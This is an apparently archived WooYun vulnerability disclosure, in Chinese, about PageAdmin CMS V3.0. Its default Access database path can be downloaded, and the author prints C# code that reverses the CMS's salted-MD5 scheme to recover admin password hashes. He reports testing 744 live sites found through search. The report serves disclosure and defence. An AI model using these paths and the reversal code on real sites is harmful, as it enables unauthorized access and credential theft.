当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061685

漏洞标题:PageAdmin默认配置不当导致敏感数据泄露

相关厂商:PageAdmin

漏洞作者: shack2

提交时间:2014-05-22 23:16

修复时间:2014-08-20 23:20

公开时间:2014-08-20 23:20

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-22: 细节已通知厂商并且等待厂商处理中
2014-05-27: 厂商已经确认,细节仅向厂商公开
2014-05-30: 细节向第三方安全合作伙伴开放
2014-07-21: 细节向核心白帽子及相关领域专家公开
2014-07-31: 细节向普通白帽子公开
2014-08-10: 细节向实习白帽子公开
2014-08-20: 细节向公众公开

简要描述:

PageAdmin默认配置不当导致敏感数据泄露,大量站点受影响
拿WebShell方式参照PageAdmin后台获取WebShell

详细说明:

PageAdmin CMS V3.0版,默认数据库地址“/e/database/v3.mdb“,默认后台地址:“/e/master/login.aspx”,由于数据库地址未做限制,导致可以下载。通过逆向管理员MD5加密算法获得md5密文,并通过md5密文可以破解管理员密码。
测试过程:
1.通过百度采集相关的PageAdmin CMS站点741个进行测试

1.jpg


2.用我的SWenScan测试扫描了一下

2.jpg


共扫描744个PageAdmin CMS站点,发现124个站点可下载数据库
3.下载数据库

3.jpg


4.发现非常规MD5加密,于是使用ILSPY逆向源代码,查看加密方式
PageAdmin CMS MD5加密方式:

public string Get_Md5(string s)
{
MD5 mD = new MD5CryptoServiceProvider();
Encoding encoding = Encoding.GetEncoding("UTF-8");
string s2 = "pageadmin cms";
byte[] array = mD.ComputeHash(encoding.GetBytes(s));
byte[] array2 = mD.ComputeHash(encoding.GetBytes(s2));
StringBuilder stringBuilder = new StringBuilder(32);
for (int i = 0; i < array.Length; i++)
{
stringBuilder.Append(((int)(array[i] + array2[i])).ToString("x").PadLeft(2, '0'));
}


5.花了半天对这个算法进行逆向解密成md5密文

public static String unPageAdminPass(String pstr)
{
MD5 mD = new MD5CryptoServiceProvider();
Encoding encoding = Encoding.GetEncoding("UTF-8");
string s2 = "pageadmin cms";
byte[] array2 = mD.ComputeHash(encoding.GetBytes(s2));
StringBuilder stringBuilder = new StringBuilder(16);
int index = 0;
for (int i = 0; i < pstr.Length;)
{
//array[i] + array2[i]最小值为0,0的ascii码最小为30,最大为512,30的16进制为1E,512的16进制为200
//关键,这里如果错了,md5会逆向失败,这里只能大约计算通常不会小于20,如果小于,说明应该是3位长度
//如果破解异常,只能手工识别将密文分成16段,逆向回来
//通常取2个字符,如果是1开头或2开头需要取3位字符,如果2开头,可能为“200”,这种几率很小
String sd_s = pstr.Substring(i, 2);
if (pstr.Substring(i, 3).StartsWith("200"))
{
//如果取3位为200,就取3位
sd_s = pstr.Substring(i, 3);
i += 3;
}
else if (sd_s.StartsWith("1"))
{
//如果以sartNUM开头的同样取3位
sd_s=pstr.Substring(i, 3);
i += 3;
}
else {
i += 2;
}
if (sd_s.StartsWith("0")) {
//0开头去掉(padleft填充了0,逆向回去,就要替换)
sd_s = sd_s.Remove(0);
}
//165 9f e8 ec 102 189 9a a1 79 170 1ad 110 14e cd de 1a4
int t = Convert.ToInt32(sd_s, 16);
int r = t - (int)array2[index];
stringBuilder.Append(r.ToString("x").PadLeft(2,'0'));
index++;
}
return stringBuilder.ToString();

}


6.解密成md5明文

4.png

漏洞证明:

PageAdmin CMS V3.0版,默认数据库地址“/e/database/v3.mdb“,默认后台地址:“/e/master/login.aspx”,由于数据库地址未做限制,导致可以下载。通过逆向管理员MD5加密算法获得md5密文,并通过md5密文可以破解管理员密码。
测试过程:
1.通过百度采集相关的PageAdmin CMS站点741个进行测试

1.jpg


2.用我的SWenScan测试扫描了一下

2.jpg


共扫描744个PageAdmin CMS站点,发现124个站点可下载数据库
3.下载数据库

3.jpg


4.发现非常规MD5加密,于是使用ILSPY逆向源代码,查看加密方式
PageAdmin CMS MD5加密方式:

public string Get_Md5(string s)
{
MD5 mD = new MD5CryptoServiceProvider();
Encoding encoding = Encoding.GetEncoding("UTF-8");
string s2 = "pageadmin cms";
byte[] array = mD.ComputeHash(encoding.GetBytes(s));
byte[] array2 = mD.ComputeHash(encoding.GetBytes(s2));
StringBuilder stringBuilder = new StringBuilder(32);
for (int i = 0; i < array.Length; i++)
{
stringBuilder.Append(((int)(array[i] + array2[i])).ToString("x").PadLeft(2, '0'));
}


5.花了半天对这个算法进行逆向解密成md5密文

public static String unPageAdminPass(String pstr)
{
MD5 mD = new MD5CryptoServiceProvider();
Encoding encoding = Encoding.GetEncoding("UTF-8");
string s2 = "pageadmin cms";
byte[] array2 = mD.ComputeHash(encoding.GetBytes(s2));
StringBuilder stringBuilder = new StringBuilder(16);
int index = 0;
for (int i = 0; i < pstr.Length;)
{
//array[i] + array2[i]最小值为0,0的ascii码最小为30,最大为512,30的16进制为1E,512的16进制为200
//关键,这里如果错了,md5会逆向失败,这里只能大约计算通常不会小于20,如果小于,说明应该是3位长度
//如果破解异常,只能手工识别将密文分成16段,逆向回来
//通常取2个字符,如果是1开头或2开头需要取3位字符,如果2开头,可能为“200”,这种几率很小
String sd_s = pstr.Substring(i, 2);
if (pstr.Substring(i, 3).StartsWith("200"))
{
//如果取3位为200,就取3位
sd_s = pstr.Substring(i, 3);
i += 3;
}
else if (sd_s.StartsWith("1"))
{
//如果以sartNUM开头的同样取3位
sd_s=pstr.Substring(i, 3);
i += 3;
}
else {
i += 2;
}
if (sd_s.StartsWith("0")) {
//0开头去掉(padleft填充了0,逆向回去,就要替换)
sd_s = sd_s.Remove(0);
}
//165 9f e8 ec 102 189 9a a1 79 170 1ad 110 14e cd de 1a4
int t = Convert.ToInt32(sd_s, 16);
int r = t - (int)array2[index];
stringBuilder.Append(r.ToString("x").PadLeft(2,'0'));
index++;
}
return stringBuilder.ToString();

}


6.解密成md5明文

4.png

修复方案:

修改默认数据库格式,或安装时强制修改数据库名称

版权声明:转载请注明来源 shack2@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-05-27 14:08

厂商回复:

由CNVD统一汇总后联系厂商处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-05-23 10:20 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    后台通杀。不用IIS6

  2. 2014-07-29 00:58 | 淘汰郎 ( 路人 | Rank:0 漏洞数:1 | lalala)

    那个MD5逆向的怎么搞

  3. 2014-07-30 16:59 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    @淘汰郎 代码都贴出来,自己编译。

  4. 2014-07-31 08:43 | 淘汰郎 ( 路人 | Rank:0 漏洞数:1 | lalala)

    @shack2 我就是不知道什么语言的啊亲

  5. 2014-07-31 10:56 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    @淘汰郎 c#

  6. 2014-12-01 16:36 | websec80 ( 路人 | Rank:0 漏洞数:1 | 关注网络安全)

    @shack2 把你那写好的逆向工具发我下 2692603638@qq.com